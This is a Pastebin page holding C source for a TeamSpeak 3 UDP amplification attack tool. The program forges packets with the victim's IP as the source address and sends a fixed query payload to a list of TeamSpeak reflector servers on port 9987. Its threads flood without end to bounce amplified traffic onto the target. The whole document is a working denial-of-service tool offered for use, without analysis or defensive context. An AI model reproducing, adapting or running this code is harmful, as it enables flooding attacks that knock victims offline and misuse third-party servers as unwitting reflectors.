Advertisement
KhaosBringer

TeamSpeak 3 Amp Attack Script Source

Apr 19th, 2015
2,098
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.82 KB | None | 0 0
  1. /* TeamSpeak 3 Amplification Attack Script */
  2. #include <time.h>
  3. #include <pthread.h>
  4. #include <unistd.h>
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <string.h>
  8. #include <sys/socket.h>
  9. #include <netinet/ip.h>
  10. #include <netinet/udp.h>
  11. #include <arpa/inet.h>
  12. #define MAX_PACKET_SIZE 8192
  13. #define PHI 0x9e3779b9
  14. #define LINUX system // redefine this to #define BSD system if compiling on BSD
  15. static uint32_t Q[4096], c = 362436;
  16. struct list
  17. {
  18.     struct sockaddr_in data;
  19.     struct list *next;
  20.     struct list *prev;
  21. };
  22. struct list *head;
  23. struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
  24. void init_rand(uint32_t x){
  25.       int i;
  26.       Q[0] = x;
  27.       Q[1] = x + PHI;
  28.       Q[2] = x + PHI + PHI;
  29.       for (i = 3; i < 4096; i++)
  30.       {
  31.       Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  32.     }
  33. }
  34.  
  35. uint32_t rand_cmwc(void)
  36.     {
  37.       uint64_t t, a = 18782LL;
  38.       static uint32_t i = 4095;
  39.       uint32_t x, r = 0xffffffe;
  40.       i = (i + 1) & 4095;
  41.       t = a * Q[i] + c;
  42.       c = (t >> 32);
  43.       x = t + c;
  44.       if (x < c) {
  45.             x++;
  46.             c++;
  47.       }
  48.       return (Q[i] = r - x);
  49.     }
  50.  
  51.     /* function for header checksums */
  52. unsigned short csum (unsigned short *buf, int nwords)
  53.     {
  54.       unsigned long sum;
  55.       for (sum = 0; nwords > 0; nwords--)
  56.       sum += *buf++;
  57.       sum = (sum >> 16) + (sum & 0xffff);
  58.       sum += (sum >> 16);
  59.       return (unsigned short)(~sum);
  60.     }
  61.  
  62. void setup_ip_header(struct iphdr *iph)
  63.     {
  64.       iph->ihl = 5;
  65.       iph->version = 4;
  66.       iph->tos = 0;
  67.       iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 14;
  68.       iph->id = htonl(54321);
  69.       iph->frag_off = 0;
  70.       iph->ttl = MAXTTL;
  71.       iph->protocol = IPPROTO_UDP;
  72.       iph->check = 0;
  73.       iph->saddr = inet_addr("192.168.3.100");
  74.     }
  75.  
  76. void setup_udp_header(struct udphdr *udph)
  77.     {
  78.       udph->source = htons(57608);
  79.       udph->dest = htons(9987);
  80.       udph->check = 0;
  81.       memcpy((void *)udph + sizeof(struct udphdr), "\x05\xca\x7f\x16\x9c\x11\xf9\x89\x00\x00\x00\x00\x02", 14);
  82.       udph->len=htons(sizeof(struct udphdr) + 14);
  83.     }
  84.  
  85. void *flood(void *par1)
  86.     {
  87.       struct thread_data *td = (struct thread_data *)par1;
  88.       char datagram[MAX_PACKET_SIZE];
  89.       struct iphdr *iph = (struct iphdr *)datagram;
  90.       struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  91.       struct sockaddr_in sin = td->sin;
  92.       struct  list *list_node = td->list_node;
  93.       int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  94.       if(s < 0){
  95.             fprintf(stderr, "Could not open raw socket.\n");
  96.             exit(-1);
  97.       }
  98.       init_rand(time(NULL));
  99.       memset(datagram, 0, MAX_PACKET_SIZE);
  100.       setup_ip_header(iph);
  101.       setup_udp_header(udph);
  102.       udph->source = sin.sin_port;
  103.       iph->saddr = sin.sin_addr.s_addr;
  104.       iph->daddr = list_node->data.sin_addr.s_addr;
  105.       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  106.       int tmp = 1;
  107.       const int *val = &tmp;
  108.       if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  109.             fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  110.             exit(-1);
  111.       }
  112.       int i=0;
  113.       while(1){
  114.             sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  115.             list_node = list_node->next;
  116.             iph->daddr = list_node->data.sin_addr.s_addr;
  117.             iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  118.             if(i==5)
  119.             {
  120.             usleep(0);
  121.             i=0;
  122.             }
  123.             i++;
  124.       }
  125.     }
  126. int main(int argc, char *argv[ ])
  127.     {
  128.       if(argc < 4){
  129.             fprintf(stderr, "Invalid parameters!\n");
  130.             fprintf(stdout, "Usage: %s <IP> <port> <reflection file> <threads> <time>\n", argv[0]);
  131.             exit(-1);
  132.       }
  133.       int i = 0;
  134.       head = NULL;
  135.       fprintf(stdout, "Setting up Sockets...\n");
  136.       int max_len = 128;
  137.       char *buffer = (char *) malloc(max_len);
  138.       buffer = memset(buffer, 0x00, max_len);
  139.       int num_threads = atoi(argv[4]);
  140.       FILE *list_fd = fopen(argv[3],  "r");
  141.       while (fgets(buffer, max_len, list_fd) != NULL) {
  142.             if ((buffer[strlen(buffer) - 1] == '\n') ||
  143.             (buffer[strlen(buffer) - 1] == '\r')) {
  144.             buffer[strlen(buffer) - 1] = 0x00;
  145.             if(head == NULL)
  146.             {
  147.             head = (struct list *)malloc(sizeof(struct list));
  148.             bzero(&head->data, sizeof(head->data));
  149.             head->data.sin_addr.s_addr=inet_addr(buffer);
  150.             head->next = head;
  151.             head->prev = head;
  152.             } else {
  153.             struct list *new_node = (struct list *)malloc(sizeof(struct list));
  154.             memset(new_node, 0x00, sizeof(struct list));
  155.             new_node->data.sin_addr.s_addr=inet_addr(buffer);
  156.             new_node->prev = head;
  157.             new_node->next = head->next;
  158.             head->next = new_node;
  159.             }
  160.             i++;
  161.             } else {
  162.             continue;
  163.             }
  164.       }
  165.       struct list *current = head->next;
  166.       pthread_t thread[num_threads];
  167.       struct sockaddr_in sin;
  168.       sin.sin_family = AF_INET;
  169.       sin.sin_port = htons(atoi(argv[2]));
  170.       sin.sin_addr.s_addr = inet_addr(argv[1]);
  171.       struct thread_data td[num_threads];
  172.       for(i = 0;i<num_threads;i++){
  173.             td[i].thread_id = i;
  174.             td[i].sin= sin;
  175.             td[i].list_node = current;
  176.             pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  177.       }
  178.       fprintf(stdout, "Starting Flood...\n");
  179.       if(argc > 5)
  180.       {
  181.             sleep(atoi(argv[5]));
  182.       } else {
  183.             while(1){
  184.             sleep(1);
  185.             }
  186.       }
  187.       return 0;
  188.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement